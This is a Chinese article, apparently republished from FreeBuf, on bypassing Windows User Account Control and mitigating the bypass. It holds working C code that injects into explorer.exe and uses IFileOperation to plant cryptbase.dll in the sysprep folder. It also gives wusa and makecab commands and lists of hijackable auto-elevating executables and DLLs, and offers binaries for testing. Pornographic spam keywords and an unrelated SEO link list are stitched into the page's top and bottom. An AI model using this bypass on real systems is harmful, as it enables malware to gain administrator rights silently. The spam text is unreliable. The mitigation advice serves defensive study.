成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Windows用戶帳戶控制(UAC)的繞過與緩解方式

安全 黑客攻防 網站安全
用戶帳戶控制(UAC)給了我們使用標準的用戶權限代替完全的管理員權限來運行程序的能力。所以即使您的標準用戶帳戶位于本地管理員組中,那么受到的破壞也是有限的,如安裝服務,驅動程序以及對安全位置執行寫入操作,等等,這些行為都是被拒絕的。

在企業環境中保護機器免受惡意威脅一直是一個持續的過程。如果給用戶提供了管理員權限,就會被濫用于安裝未經許可的軟件,更改配置,等等。如果不給用戶提供本地管理員權限,他們就會聲稱他們不能正常開展工作了。如果惡意軟件碰巧感染了擁有完全管理員權限的機器,那么你最有可能眼睜睜的看著計算機被惡意軟件重新映像。

用戶帳戶控制(UAC) 給了我們使用標準的用戶權限代替完全的管理員權限來運行程序的能力。所以即使您的標準用戶帳戶位于本地管理員組中,那么受到的破壞也是有限的,如安裝服務,驅動程序以及對安全位置執行寫入操作,等等,這些行為都是被拒絕的。要進行這些操作,用戶需要與桌面進行交互,如右鍵單擊并以管理員身份運行或者是接受 UAC 提升的提示。Microsoft從 Windows Vista 起就引入了UAC,它包含了大量的技術,其中包括文件系統和注冊表虛擬化、保護管理員 (PA) 帳戶、UAC 提升提示和 Windows 完整性級別。

UAC 的工作原理是調整我們當前的用戶帳戶的權限級別,所以即使我們擁有計算機上的本地管理員權限,程序的操作還是作為標準用戶進行的。當程序執行的操作需要管理員級別的權限時, UAC 就會通知我們。如果我們已經擁有了本地管理員權限,那么我們可以單擊“是”繼續,否則系統將會提示您輸入管理員密碼。當然這些將取決于您的環境中定義了何種策略。

本文講述了如何輕松地繞過UAC提升提示并且可以采取哪些措施來減輕這種威脅。

Windows用戶帳戶控制(UAC)的繞過與緩解方式

繞過 UAC

繞過 UAC 是一個簡單的過程。可以采取兩個步驟實現從標準的用戶權限到管理員用戶權限的提升。這些步驟的方法已被廣泛的公布,所以這并不是什么新奇的技術,不過在第二個步驟中會出現一些更多的 DLL 劫持漏洞。

·寫入到安全位置

·利用 DLL 劫持漏洞

為了能成功的繞過 UAC,在開始前我們需要一些事情:

1.一個完整性級別為中等的進程

2.一個管理員組中的標準用戶

3.必須由微軟代碼簽名證書簽名過的Windows 可執行文件

4.必須位于一個安全目錄的Windows 可執行文件

5.Windows 可執行文件也必須在他們自身的程序清單中指定自動提升屬性

寫入到安全位置

我們可以使用這幾種方法寫入到安全位置。

·使用 IFileOperation COM 對象

·使用 Windows 更新獨立安裝程序 (wusa.exe)

IFileOperation COM 對象

IFileOperation COM 對象有一個方法可以用來將文件復制到安全位置,該操作將會自動進行提升并能夠執行特權的拷貝。我們可以在完整性級別為中等的進程中注入我們的惡意DLL來執行此操作以便能夠繞過UAC。由于COM 對象設置了自動提升,所以被注入的進程在其程序清單中不需要標記自動提升。

在 windows 7 中可以成功復制并能夠注入的進程如下:

C:\Windows\explorer.exe
C:\Windows\System32\wuauclt.exe
C:\Windows\System32\taskhost.exe

在測試過程中 taskhost.exe 在開機后只工作一次,wuauclt.exe 并不是一直可以工作, explorer.exe 是唯一可以使用的可靠進程。

在 Windows 8 中可以成功復制并能夠注入的進程如下:

C:\Windows\explorer.exe
C:\Windows\System32\wuauclt.exe
C:\Windows\System32\RuntimeBroker.exe

在 Windows 8.1的測試過程中我發現Explorer.exe又是唯一可以使用的可靠進程。

下面的代碼的主要部分是從MSDN 中得到的,只是做了一些輕微的變化。 SetOperationFlags 的值取自在這里公布的 UAC 繞過代碼

#include <stdio.h>#include <Shobjidl.h>#include <Windows.h>
 
#pragma comment(lib, "Ole32.lib")#pragma comment(lib, "shell32.lib")
 
int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved){FileOperation  *pfo;IShellItem      *psiFrom = NULL;IShellItem      *psiTo = NULL;
LPCWSTR pszSrcItem = L"calc.dll";
LPCWSTR pszNewName = L"cryptbase.dll";
LPCWSTR pszDest    = L"C:\\windows\\System32\\sysprep";
 
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);if (SUCCEEDED(hr)){
 hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
 if (SUCCEEDED(hr))
 {
 hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION |
 FOF_SILENT |
 FOFX_SHOWELEVATIONPROMPT |
 FOFX_NOCOPYHOOKS |
 FOFX_REQUIREELEVATION |
 FOF_NOERRORUI );
 if (SUCCEEDED(hr))
 {
 hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom));
 if (SUCCEEDED(hr))
 {
 if (NULL != pszDest)
 {
 hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo));
 }
 if (SUCCEEDED(hr))
 {
 hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
 if (NULL != psiTo)
 {
 psiTo->Release();
 }
 }
 psiFrom->Release();
 }
 if (SUCCEEDED(hr))
 {
 hr = pfo->PerformOperations();
 }
 }
 pfo->Release();
 }
 CoUninitialize();
 }
 return 0;}

#p#

Windows 更新獨立安裝程序

另外一種可用于復制文件到安全位置的方法是使用Windows 更新獨立安裝程序 (wusa.exe)。Wusa.exe執行時作為高級別完整性進程運行就如同在其清單中設置了自動提升一樣。對于自動進行 UAC提升的Windows 可執行文件,必須是被簽名過的文件,并位于如 C:\Windows\System32 的安全目錄中,并且必須在其清單中指定的自動提升屬性。

Windows用戶帳戶控制(UAC)的繞過與緩解方式

 

我們使用 wusa.exe解壓一個 CAB 文件到我們的安全位置:

wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\sysprep

在這個示例中,我們的 cab 文件為 poc.tmp,不過我們可以將它命名為任何我們所喜歡的名稱。Windows 帶有 makecab.exe 工具,所以我們甚至可以創建我們自己的 cab 文件。

makecab c:\users\user1\desktop\CRYPTBASE.dll c:\users\user1\desktop\poc.tmp

利用 DLL 劫持漏洞

當利用一個 DLL 劫持漏洞時,我們要運行的可執行文件需要已簽名的文件并位于安全目錄中,還必須在其程序清單中指定自動提升屬性以便作為一個高級別完整性的進程加載。

在 Windows 7 上,有三個可執行文件可被利用并且相關的 DLL如下:

C:\windows\ehome\Mcx2Prov.exe
C:\Windows\ehome\CRYPTBASE.dll
 
C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\sysprep\CRYPTSP.dll
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\sysprep\RpcRtRemote.dll
C:\Windows\System32\sysprep\UxTheme.dll
 
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL

去年6 月 25 日提交在Malwr.com 上的一種惡意軟件已經在采用 Mcx2Prov.exe 來繞過 UAC 并且沒過多久該利用漏洞就被公布了。

Windows用戶帳戶控制(UAC)的繞過與緩解方式

 

相同 HASH 的惡意軟件在四個月前被提交在VirusTotal (38/54)上。

在 Windows 8 上同樣有三個可執行程序可被利用,相關的DLL 如下:

C:\windows\System32\sysprep\sysprep.exe
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\Sysprep\dwmapi.dll
C:\Windows\System32\Sysprep\SHCORE.dll
 
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL
 
C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Windows\System32\UReFS.DLL

最終在 Windows 8.1 中也同樣有三個可被利用的可執行程序,相關的DLL 如下:C:\windows\System32\sysprep\sysprep.exe

C:\Windows\System32\Sysprep\SHCORE.dll
C:\Windows\System32\Sysprep\OLEACC.DLL
 
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL
 
C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll
C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll
C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll
C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll
C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll

在調用 pwcreateor.exe 可執行文件時,它會調用 vds.exe(虛擬磁盤服務),之后會加載我們的DLL 并且執行后的進程的完整性級別為系統級別。

Windows用戶帳戶控制(UAC)的繞過與緩解方式

 

在調用 sysprep.exe,cliconfig.exe,pwcreateor.exe 時會產生一個GUI窗口,你應該可以輕松的使它們運行在后臺,并且在繞過 UAC之后將它們結束掉。

Windows用戶帳戶控制(UAC)的繞過與緩解方式 

Windows用戶帳戶控制(UAC)的繞過與緩解方式 

Windows用戶帳戶控制(UAC)的繞過與緩解方式 #p#

 

緩解措施

防止繞過 UAC的最好的方法是在用戶的機器中不要給予他們本地管理員權限。在企業環境中的絕大多數用戶帳戶你都應該這么去做,以減少受攻擊面。然而,這不適用于在默認情況下具有本地管理員權限的家庭用戶。

在實際的繞過中,僅對 UAC設置中的中間那兩個選項起作用。要查看你的設置你可以在控制面板——用戶帳戶——改變用戶帳戶控制設置 中查看。

僅當應用程序嘗試更改我的計算機時通知我(默認)

僅當應用程序嘗試更改我的計算機時通知我(不降低桌面亮度)

Windows用戶帳戶控制(UAC)的繞過與緩解方式

 

因此,我們需要設置為“總是通知”,但是這樣做有點像Windows Vista一樣會持續進行通知,所以這并不實用,并且到最后,用戶可能會設置為“從不通知”,這樣的話,看起來這并不是一個好主意。

Microsoft 提供了 10 個UAC策略,我們有必要在你的域環境中實施策略前花點時間來了解并測試這些策略。你可以在開始-運行中鍵入 secpol.msc 來打開本地計算機的本地安全策略并展開 本地策略,在安全選項里可以找到應用在本地計算機的用戶帳戶控制策略??梢允褂?rsop.msc 查看在域中應用到本地的組策略。

Windows用戶帳戶控制(UAC)的繞過與緩解方式

 

在注冊表中,UAC的默認設置如下:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]"ConsentPromptBehaviorAdmin"=dword:00000005"ConsentPromptBehaviorUser"=dword:00000003"EnableInstallerDetection"=dword:00000001"EnableLUA"=dword:00000001"EnableSecureUIAPaths"=dword:00000001"EnableUIADesktopToggle"=dword:00000000"EnableVirtualization"=dword:00000001"FilterAdministratorToken"=dword:00000000"PromptOnSecureDesktop"=dword:00000001"ValidateAdminCodeSignatures"=dword:00000000

把“用戶帳戶控制設置”設置為“總是通知”,相關的注冊項的值改變如下:

"ConsentPromptBehaviorAdmin"=dword:00000002

把“用戶帳戶控制設置”設置為“僅當應用程序嘗試更改我的計算機時通知我(不降低桌面亮度)” 相關的注冊項的值改變如下:

"PromptOnSecureDesktop"=dword:00000000

當把“用戶帳戶控制設置”設置為“從不通知”時,相關的注冊項的值改變如下:

"ConsentPromptBehaviorAdmin"=dword:00000000"EnableLUA"=dword:00000000"PromptOnSecureDesktop"=dword:00000000

我們注意到 "EnableLUA"的值為0 ,意味著UAC已被禁用。這是非常危險的,因此,強烈推薦您在組策略中設置此設置選項,這樣可以在用戶或者是被以前刪除的惡意軟件重置/改變了設置選項后,依舊可以應用策略,啟用UAC。

用戶帳戶控制: 以管理員批準模式運行所有管理員

一旦禁用此策略將有不只一個惡意進程能夠直接并無需任何繞過行為就能以高級別完整性運行而且 IE瀏覽器進程的完整性級別為中等。在IE瀏覽器提供的額外的安全性中,UAC 給用戶提供了保護模式 (沙盒)。IE瀏覽器通常在低級別完整性的子進程中運行,因此會將IE 漏洞所帶來的一些威脅最小化并且在低級別完整性中,可寫入的位置很少。

上述這些改變在 Windows 7中有效,在Windows 8/8.1中 EnableLUA 不會被更改為禁用狀態。因此,在將“用戶帳戶控制”設置為“從不通知”時,只產生了下列改變:

"ConsentPromptBehaviorAdmin"=dword:00000000"PromptOnSecureDesktop"=dword:00000000

這個時候,由于“EnableLUA”=dword:00000001的值沒有發生改變,因此, UAC沒有完全禁用,同時IE瀏覽器依舊運行在低級別完整性中。

然而,如果一個用戶使用本地管理員帳戶登錄到計算機時,UAC的設置對于所有使用高級別完整性的進程是不起作用的。因此,在Windwos 7/8 和 8.1中,總是要確保用戶沒有使用本地管理員帳戶登錄計算機,如果將域帳戶添加到本地管理員組中將會更好的請求本地管理員權限。

Windows用戶帳戶控制(UAC)的繞過與緩解方式 

Windows用戶帳戶控制(UAC)的繞過與緩解方式

 

不管出于什么原因使用本地管理員帳戶登錄計算機,最好設置 UAC 策略為啟用狀態。

用戶帳戶控制: 對內置管理員帳戶使用管理審批模式

FilterAdministratorToken”=dword:00000001

另一個選項則是如果在系統上不是必須需要這些程序,你可以重命名或刪除Mcx2Prov.exe、 sysprep.exe、 cliconfg.exe 和 pwcreator.exe 可執行文件,這樣,在第二個步驟中利用 DLL 劫持就會失敗。

最后,如果用戶請求本地管理員權限并且值得他們修改計算機的UAC為“總是通知“,那么他們將會得到持續不斷的通知。

用戶帳戶控制: 在管理審批模式下管理員的提升提示行為(在安全桌面上同意提示)

結論

這些繞過方式僅在滿足所有的條件時才會起作用,只要有一個條件不滿足,那么繞過 UAC就會失敗。Office 文檔進程的完整性級別為中等,因此,這將是一個理想的用于 UAC繞過的目標。由于可以毫不費力地實現 UAC 的繞過,真正唯一能做的就是將 UAC 設置為"始終通知"或刪除該用戶的本地管理權限。最后可以使用像微軟的 EMET或 MalwareBytes 來更好的防御零日漏洞。

這是一些源代碼和二進制文件,你可以自行測試。我測試了 Windows 企業版的 7/8/8.1 64 位系統。

參考與引用

http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx

http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx

http://windows.microsoft.com/en-gb/windows/what-is-user-account-control#1TC=windows-7

http://windows.microsoft.com/en-gb/windows/what-are-user-account-control-、settings#1TC=windows-7

http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2015-10-12 11:37:07

2017-05-05 12:23:25

2010-12-27 14:33:01

用戶帳戶控制

2012-05-03 08:44:31

2018-11-13 12:56:57

2010-12-07 14:10:56

Windows 7用戶帳戶控制

2010-02-25 09:57:35

2010-11-29 14:05:29

2010-01-20 09:11:56

2009-06-24 08:51:55

2010-03-22 09:17:15

Office 97Windows 7UAC

2019-12-09 10:30:42

Windows 10帳戶Windows

2010-06-09 16:39:38

用戶帳戶網絡安全

2017-03-23 12:23:27

sdclt磁盤備份UAC

2009-04-08 13:01:06

2009-04-09 08:57:22

Windows 7微軟操作系統

2010-05-06 14:37:26

2009-12-23 08:49:21

Windows 7UAC兼容性

2009-04-22 08:56:11

Windows 7微軟操作系統

2010-05-05 09:54:55

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 观看av| 91福利网 | 亚洲三区视频 | 18av在线播放 | 天天拍天天插 | 午夜视频一区二区三区 | 亚洲风情在线观看 | 中文字幕精品一区二区三区精品 | 国产成人在线视频 | 亚洲精品久久久久久久久久久 | 国产精品a久久久久 | 精品不卡 | 亚洲精品一区二区冲田杏梨 | 91精品国产色综合久久不卡蜜臀 | 日韩亚洲欧美综合 | 日本在线中文 | 激情婷婷| 精品国产乱码久久久久久蜜柚 | 在线毛片网 | 日韩中文一区 | 中文字幕日韩欧美一区二区三区 | 亚洲午夜精品一区二区三区他趣 | 91精品国产综合久久国产大片 | 另类亚洲视频 | 亚洲精品v日韩精品 | 成人欧美一区二区 | 精品1区2区3区 | 日本精品一区二区三区视频 | 一区二区国产精品 | 在线看av网址 | 欧美一区不卡 | 一本一道久久a久久精品综合 | 成人av一区| 国产精品久久二区 | 国产精品久久国产精品 | 99精品久久久 | 在线观看深夜视频 | 日韩在线免费视频 | 日本欧美国产在线 | 妞干网av| 日韩中文字幕第一页 |